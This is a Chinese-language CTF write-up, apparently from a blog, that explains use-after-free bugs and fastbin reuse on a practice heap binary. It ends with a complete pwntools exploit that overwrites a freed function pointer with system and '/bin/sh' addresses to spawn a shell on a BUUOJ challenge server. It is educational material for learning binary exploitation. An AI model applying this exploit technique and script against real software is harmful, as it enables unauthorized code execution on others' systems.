# PWN uaf 了解学习
刚刚接触堆,发现在看题的时候,对与 C 语言要求还挺高,需要了解指针是怎么一回事。所以我决定,下面一道例题要好好分析源代码,了解各个函数调用的意义。
# 首先先声明一下什么叫 uaf:
参考 ctfwiki
原理 ¶
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
通过了解了原理,我们发现 uaf 是由于使用后再次 free 没有去置空指针,导致下一次被使用程序会再次到指针所指向的内容。
接下来我们通过一道例题去了解一下 uaf 漏洞的利用。
# 题目来源
# 首先检查程序保护措施:
哦,对了。这里为啥 runpath 的路径是我本地的原因是,我用 patchelf 改了,将他变成 ubuntu16.04 版本的 glibc,为了去了解一下 fastbins 的作用(其实不用改也可以,在调试 18.04 的 glibc 版本,发现其实变化不大。
# 运行程序,去了解功能:
运行程序,发现 menu,有 4 个 node。
- 选择 Create something
- 选择 Print something
- 选择 Delete something, 之后在 Print something
这也就是这程序的主要功能了。
# 放入 IDA,进行函数分析:
main 函数:
没什么好讲的,主要是去调用函数功能。
add 函数:
这一个 node 可以看见会申请两次堆空间,第一次是 0x10 的,第二次是我们输入的
这就是 add 后的 chunk,但是为啥第一个块内存有个地方我没标注内容,因为我暂时不知道。但是我后期调试发现应该是字符串的地址。
delete 函数:
delete 会根据给定的索引来释放对应的 note。但是值得注意的是,在删除的时候,只是单纯进行了 free,而没有设置为 NULL,那么显然,这里是存在 Use After Free 的情况的。
所以这里我们利用 uaf,去申请 0x10 大小的空间,去覆写堆的指针即可(为何去申请 0x10 呢,我的理解就是,去申请 fastbins 里面相同大小的 chunk,便于再次利用指针的作用,从而控制程序的控制流。)
show 函数:
这里面唯一的重点就是那个注释,因为通过这里,去执行这个函数,就能实现控制。比如 ptr [1] 处是 system 函数的地址,prt [[0] 处是 binsh 字符串的地址,那我们就能实现 system (’/bin/sh’) 的作用。
接下来是漏洞利用过程:
申请 note0(大小为 0x40):包括 put0 和 content0
申请 note1 (大小为 0x40) :包括 put1 和 content1
释放 note0:包括 free content0 和 free put0
释放 note1:包括 free content1 和 free put1
由于 put 段跟 content 段的大小是不同的,所以他们是在 bin 里面是两条链:如果你申请的 chunk 大小是 0x10,那么是从 put 的那条链申请。如果你申请的 chunk 大小是 0x20,那么就是从 content 的那条链申请。
所以我们再次申请要去申请 0x10 大小
申请 note2(大小为 0x10):则会申请一个 put2 一个 content2. 由于 put2 和 content2 大小都为 0x10,所以都会从 put 那条链上面申请。
所以,put2 申请到的是 put0 的位置,content2 申请到的是 put1 的位置。
很明显了,我们往 content2 里面填入 system 的地址和 binsh 地址,不就相当于往 note0 的 put0 里填入了 system 和 binsh?
那么我们在调用 show (0) 的时候,不就是调用了 system 函数吗?
为了更加高效地利用 fast bin,glibc 采用单向链表对其中的每个 bin 进行组织,并且每个 bin 采取 LIFO 策略
# 所以 exp 为:
from pwn import * | |
context(arch='amd64',os='linux',log_level='debug') | |
r = remote('node4.buuoj.cn',29844) | |
# r = gdb.debug('./bheap') | |
# r = process('./bheap') | |
elf = ELF('./bheap') | |
se = lambda data :r.send(data) | |
sa = lambda delim,data :r.sendafter(delim, data) | |
sl = lambda data :r.sendline(data) | |
sla = lambda delim,data :r.sendlineafter(delim, data) | |
sea = lambda delim,data :r.sendafter(delim, data) | |
rc = lambda numb=4096 :r.recv(numb) | |
rl = lambda :r.recvline() | |
ru = lambda delims :r.recvuntil(delims) | |
uu32 = lambda data :u32(data.ljust(4, b'\0')) | |
uu64 = lambda data :u64(data.ljust(8, b'\0')) | |
lic = lambda data :uu64(ru(data)[-6:]) | |
pack = lambda str, addr :p32(addr) | |
padding = lambda lenth :b'Yhuan'*(lenth//5)+b'F'*(lenth % 5) | |
def add(size,content): | |
ru('Your choice: ') | |
se(str(1)) | |
ru('Please input size: \n') | |
se(str(size)) | |
ru('Please input content: \n') | |
se(content) | |
def delete(index): | |
ru('Your choice: ') | |
se(str(2)) | |
ru('Please input list index: \n') | |
se(str(index)) | |
def Print(index): | |
ru('Your choice: ') | |
se(str(3)) | |
ru('Please input list index: \n') | |
se(str(index)) | |
# gdb.attach(r) | |
# pause() | |
add(0x20,b'a'*0x20) | |
# gdb.attach(r) | |
# pause() | |
add(0x20,b'b'*0x20) | |
# gdb.attach(r) | |
# pause() | |
delete(0) | |
# gdb.attach(r) | |
# pause() | |
delete(1) | |
system = 0x4007A0 | |
binsh = 0x0602010 | |
# gdb.attach(r) | |
# pause() | |
add(0x10,p64(binsh)+p64(system)) | |
# gdb.attach(r) | |
# pause() | |
Print(0) | |
r.interactive() |